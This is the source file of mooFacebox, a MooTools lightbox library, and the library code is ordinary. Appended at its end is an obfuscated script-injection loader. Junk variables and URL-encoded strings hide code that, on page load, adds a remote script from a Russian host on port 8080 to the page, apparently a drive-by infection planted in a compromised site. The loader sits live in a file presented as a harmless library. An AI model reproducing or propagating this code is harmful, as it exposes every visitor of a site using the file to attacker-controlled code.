/*
 * mooFacebox
 * version: 0.1 (03/10/2008)
 * @requires MooTools v1.2 or later
 *
 * Facebox is a port to mootools of the original 
 * Facebox (http://famspam.com/facebox) written by Chris Wanstrath with some 
 * added features like drag support and titles.
 *
 * Licensed under the MIT:
 *
 *   http://www.opensource.org/licenses/mit-license.php
 *
 * Copyright 2007, 2008 Chris Wanstrath [ chris@ozmm.org ]
 * Copyright 2008 Augusto Becciu [ augusto@becciu.org ]
 *
 * Usage:
 *  
 *  window.addEvent('domready', function() {
 *      var myFacebox = new mooFacebox();
 *  });
 *
 *
 *  <a href="#terms" rel="facebox">Terms</a>
 *    Loads the #terms div in the box
 *
 *  <a href="terms.html" rel="facebox">Terms</a>
 *    Loads the terms.html page in the box
 *
 *  <a href="terms.png" rel="facebox">Terms</a>
 *    Loads the terms.png image in the box
 *
 */

var mooFacebox = new Class({

    Implements: [Options,Events],

    options: {
    	btn:['Default', 'green'],
    	btnCancel:true,
    	autoclose:false,
    	time:5000,
    	t1:null,
    	t2:null,
    	width:370,
    	target:null,
        draggable: false,
        elementsSelector: 'a[rel="facebox"]',
        loading_image : 'includes/javascript/external/mooFacebox/images/loading.gif',
        close_image   : 'includes/javascript/external/mooFacebox/images/closelabel.gif',
        image_types   : [ 'png', 'jpg', 'jpeg', 'gif' ],
        facebox_html  : '\
	    <div class="popup"> \
	      <table> \
	        <tbody> \
	          <tr> \
	            <td class="ptl"/><td class="b"/><td class="ptr"/> \
	          </tr> \
	          <tr> \
	            <td class="b"/> \
	            <td class="dialog-content"> \
	              <h2 class="title"> \
	                <span></span> \
	              </h2> \
	              <div class="body"> \
	                <div class="content"> \
	                </div> \
	                <div class="footer"> \
	                </div> \
	              </div> \
	            </td> \
	            <td class="b"/> \
	          </tr> \
	          <tr> \
	            <td class="pbl"/><td class="b"/><td class="pbr"/> \
	          </tr> \
	        </tbody> \
	      </table> \
	    </div>',
	    onUpdate:$empty,
	    onClose:$empty
	    },
	    
	
    loading: function() {
        if (this.faceboxEl.getElement('.loading')) return true;
		
        this.faceboxEl.getElement('.content').empty();

        var bodyEl = this.faceboxEl.getElement('.body');
        bodyEl.getChildren().setStyle('display', 'none');
        
        var loadingEl = new Element('div', {'class': 'loading'});
        var loadingImgEl = new Element('img', {'src': this.options.loading_image});
        loadingEl.adopt(loadingImgEl);

        bodyEl.adopt(loadingEl);

        $(document).addEvent('keydown', this.keydownHdlr);

		this.centerElm();
        this.fadeIn(this.faceboxEl);
    },
    adjustPosition: function(elm){
    	elm = elm || this.faceboxEl;
    	if(this.options.t1) this.options.t1.cancel();
    	if(this.options.t2) this.options.t2.cancel();
    	
    	
    	doc_prop = document.getCoordinates();
    	fb_prop = elm.getCoordinates();
    	doc_scroll = document.getScroll();
    	
    	this.options.t1 = new Fx.Tween(elm);
		this.options.t2 = new Fx.Tween(elm);
		this.options.t1.start('left', (doc_scroll.x + (doc_prop.width / 2) - (fb_prop.width / 2 )) + 'px');
		this.options.t2.start('top', (doc_scroll.y + (doc_prop.height / 2) - (fb_prop.height / 2 )) + 'px');
    },
	centerElm: function(elm){        
        elm = elm || this.faceboxEl;
        
        doc_prop = document.getCoordinates();        
        fb_prop = elm.getCoordinates();
        doc_scroll = document.getScroll();
        
        if(fb_prop.width == 0){
        	// if it has no width yet
        	// we can force it to by setting the display to block
        	// the opacity at this point should be 0 so no
        	// visual discrepancies will result because of this
	        elm.setStyles({
	        	display:'block'
	        });
	        
	        fb_prop = elm.getCoordinates();
        }
        
        elm.setStyles({
            top: (doc_scroll.y + (doc_prop.height / 2) - (fb_prop.height / 2 )) + 'px',
            left: (doc_scroll.x + (doc_prop.width / 2) - (fb_prop.width / 2 )) + 'px'
        });
        
	},
    reveal: function(data, klass) {
        if (klass) this.faceboxEl.getElement('.content').addClass(klass);

        if ($type(data) == 'string')
            this.faceboxEl.getElement('.content').set('html', data);
        else
            this.faceboxEl.getElement('.content').adopt(data);
		
        this.faceboxEl.getElement('.loading').destroy();
        this.faceboxEl.getElement('.body').getChildren().each(this.fadeIn);
        
        if(!data)
        	this.fireEvent('onUpdate');
    },

    fadeIn: function(el) {
        el.set('tween', {
            onStart: function() {
                el.setStyle('display', 'block');
            }
        });
        el.fade('in');
    },

    fadeOut: function(el) {
        el.set('tween', {
            onComplete: function() {
                el.setStyle('display', 'none');
            }
        });
        el.fade('out');
    },

    close: function() {
        $(document).removeEvent('keydown', this.keydownHdlr);
		window.removeEvent('resize', this.centerElm);
		
        this.fadeOut(this.faceboxEl);
        var contentEl = this.faceboxEl.getElement('.content');
        contentEl.set('class', '');
        contentEl.addClass('content');
        this.fireEvent('onClose');
        return false;
    },

    setTitle: function(title) {
        var titleEl = this.faceboxEl.getElement('.title');
        if (title == "")
            titleEl.setStyle('display', 'none');
        else
            titleEl.setStyle('display', 'block');

        titleEl.getElement('span').setProperty('text', title);
    },
	createButton: function(text, color, func){
		var button_html = '\
			<div class="tr corner"></div>\
			<div class="tl corner"></div>\
			<div class="c">\
			</div>\
			<div class="br corner"></div>\
			<div class="bl corner"></div>';
		
		var btn = new Element('div', {'class':'facebox_button', 'html':button_html});
		btn.addClass('facebox_button_'+color);
		btn.getElement('.c').grab(new Element('a', {'html':text, events:{
			'click': function(e){
				if(func)
					func();
				else
					this.fireEvent('onAccept', [text]);
					
			}.bind(this)
		}}));
		
		return btn;
	},
    initialize: function(options) {
        this.setOptions(options);
		
        this.faceboxEl = new Element('div', {'id': 'facebox', 'style': 'display: none;'});
        this.faceboxEl.fade('hide');
        this.faceboxEl.set('html', this.options.facebox_html);

        $(document.body).adopt(this.faceboxEl);

        // preload images
        var preload = [ new Asset.image(this.options.close_image),
                        new Asset.image(this.options.loading_image) ];

        this.faceboxEl.getElements('.b:first, .bl, .br, .tl, .tr').each(function(el) {
            preload.push(new Asset.image(el.getStyle('background-image').replace(/url\((.+)\)/, '$1')));
        });

		this.faceboxEl.getElement('.footer').grab(this.createButton(this.options.btn[0], this.options.btn[1]));
		if(this.options.btnCancel)
			this.faceboxEl.getElement('.footer').grab(this.createButton('Cancel', 'grey', this.close.bind(this)));
		
        if (this.options.draggable == true) {
            var dcontentEl = this.faceboxEl.getElement('.dialog-content');
            this.drag = this.faceboxEl.makeDraggable({handle: dcontentEl});
            dcontentEl.setStyle('cursor', 'move');
        }
		
		// set body width
		this.faceboxEl.getElement('.dialog-content .body').setStyle('width', this.options.width+'px');
		
        this.keydownHdlr = function(e) {
            e = new Event(e);

            if (e.code == 27){
            	e.stop();
            	this.close();
            }
            
        }.bind(this);

        var elements = $$(this.options.elementsSelector);
		
		if(elements){
	        elements.addEvent('click', function(e) {
	            e = new Event(e);
        		e.stop();
        		
        		this.launch(e.target);
	        }.bind(this));
		}
    },
    add : function(elms){
    	elms.addEvent('click', function(e) {
            e = new Event(e);
    		e.stop();
    		
    		this.launch(e.target);
        }.bind(this));
    },
    launch: function(a){
        this.setTitle(a.title);
		
        this.loading();
		
		var image_types = this.options.image_types.join('|');
        image_types = new RegExp('\.' + image_types + '$', 'i');
        
		var location = window.location.href.toString().replace(/#.*/, '');
		
        // support for rel="facebox[.inline_popup]" syntax, to add a class
        var klass = a.rel.match(/facebox\[\.(\w+)\]/);
        if (klass) klass = klass[1];
		
        // div
        if (a.href.match(/#/) && !a.href.match(/#nothing/)) {
            var url = window.location.href.split('#')[0];
            var target = a.href.replace(url+'#','');
            this.reveal($(target).clone().setStyle('display','block'), klass);
        // image
        } else if (a.href.match(image_types)) {
            var image = new Asset.image(a.href, {
                onload: function() {
                    this.reveal('<div class="image"><img src="' + image.src + '" /></div>', klass);
                }.bind(this)
            });
		// nothing
        }else if (a.href.match(/#nothing/)){
        	//do nothing
        	this.options.target = a;
        	this.fireEvent('onUpdate');
       // ajax
        } else {
            new Request({
                url: a.href,
                method: 'get',
                onSuccess: function(responseText, responseXML) {
                    this.reveal(responseText, klass);
                }.bind(this)
            }).send();
        }
		
		this.centerElm();
		window.addEvent('resize', this.adjustPosition.bind(this));
		window.addEvent('scroll', this.adjustPosition.bind(this));
		
		if(this.options.autoclose)
			this.close.delay(this.options.time, this)
		
        return false;
    }
});




var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";